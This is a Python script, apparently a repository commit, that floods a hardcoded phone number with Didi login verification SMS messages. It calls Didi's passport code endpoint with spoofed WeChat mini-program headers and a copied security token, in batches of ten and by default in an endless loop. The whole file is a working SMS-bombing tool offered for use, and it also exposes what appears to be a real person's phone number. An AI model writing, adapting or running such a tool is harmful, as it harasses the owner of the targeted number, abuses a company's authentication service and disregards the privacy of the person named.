1+ import requests
2+ import json
3+ import time
4+
5+ def send_code (phone_number , index ):
6+ url = 'https://epassport.diditaxi.com.cn/passport/login/v5/codeMT'
7+ headers = {
8+ 'Host' : 'epassport.diditaxi.com.cn' ,
9+ 'Connection' : 'keep-alive' ,
10+ 'MpLogin-Ver' : '5.5.1' ,
11+ 'content-type' : 'application/x-www-form-urlencoded' ,
12+ 'secdd-authentication' : '49afb436f1b4de01ccd95876718546a2ee095f5762fd80e5b45c6017a80b6d73e09ebd0ba9c3ef1cd29888d9ca528e19bf0e73cf94010000001000000' ,
13+ 'secdd-challenge' : '3|2.0.11||||||' ,
14+ 'Accept-Encoding' : 'gzip,compress,br,deflate' ,
15+ 'User-Agent' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 18_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.56(0x1800382d) NetType/WIFI Language/zh_CN' ,
16+ 'Referer' : 'https://servicewechat.com/wx9e9b87595c41dbb7/491/page-frame.html'
17+ }
18+
19+ data = {
20+ 'q' : json .dumps ({
21+ "api_version" : "1.0.1" ,
22+ "appid" : 35011 ,
23+ "role" : 1 ,
24+ "device_name" : "iPhone XS Max China-exclusive-iPhone11,6>" ,
25+ "sec_session_id" : "" ,
26+ "cell" : phone_number
27+ }),
28+ "policy_id_list" : ["50008256" ],
29+ "policy_name_list" : ["ddfp:" ],
30+ "lang" : "zh-CN" ,
31+ "wsgenv" : "" ,
32+ "cell" : phone_number
33+ }
34+
35+ try :
36+ response = requests .post (url , headers = headers , data = data , timeout = 10 )
37+ if response .status_code == 200 :
38+ print (f" ✅ 第 { index } 条发送成功" )
39+ return True
40+ else :
41+ print (f" ❌ 第 { index } 条发送失败" )
42+ return False
43+ except Exception as e :
44+ print (f" ❌ 第 { index } 条异常" )
45+ return False
46+
47+ def send_batch (phone , batch_num ):
48+ """发送一批10条"""
49+ print (f"\n 📦 第 { batch_num } 批开始" )
50+ success = 0
51+ fail = 0
52+
53+ for i in range (1 , 11 ): # 10条
54+ if send_code (phone , i ):
55+ success += 1
56+ else :
57+ fail += 1
58+
59+ print (f" 📊 第 { batch_num } 批: 成功{ success } | 失败{ fail } " )
60+ return success , fail
61+
62+ if __name__ == "__main__" :
63+ # ========== 配置 ==========
64+ phone = "17751377766" # 手机号
65+ repeat_times = 0 # 重复执行次数,0=无限循环
66+ wait_seconds = 1 # 每批之间等待1秒
67+ # =========================
68+
69+ print ("=" * 50 )
70+ print ("滴滴验证码批量发送(循环模式)" )
71+ print ("=" * 50 )
72+ print (f"手机号: { phone } " )
73+ print (f"每批发送: 10条" )
74+ print (f"批间隔: { wait_seconds } 秒" )
75+ print (f"重复次数: { '无限' if repeat_times == 0 else repeat_times } 次" )
76+ print ("=" * 50 )
77+
78+ total_success = 0
79+ total_fail = 0
80+ batch_count = 0
81+
82+ try :
83+ while True :
84+ batch_count += 1
85+
86+ # 发送一批10条
87+ success , fail = send_batch (phone , batch_count )
88+ total_success += success
89+ total_fail += fail
90+
91+ print (f"\n 📊 累计: 成功{ total_success } | 失败{ total_fail } | 共{ batch_count } 批" )
92+
93+ # 检查是否达到重复次数
94+ if repeat_times > 0 and batch_count >= repeat_times :
95+ print (f"\n ✅ 已完成 { repeat_times } 次,程序结束" )
96+ break
97+
98+ # 等待1秒后继续
99+ print (f"\n ⏳ 等待 { wait_seconds } 秒后开始下一批..." )
100+ time .sleep (wait_seconds )
101+
102+ except KeyboardInterrupt :
103+ print (f"\n \n ⚠️ 用户手动停止" )
104+ print (f"📊 最终统计: 成功{ total_success } | 失败{ total_fail } | 共{ batch_count } 批" )
0 commit comments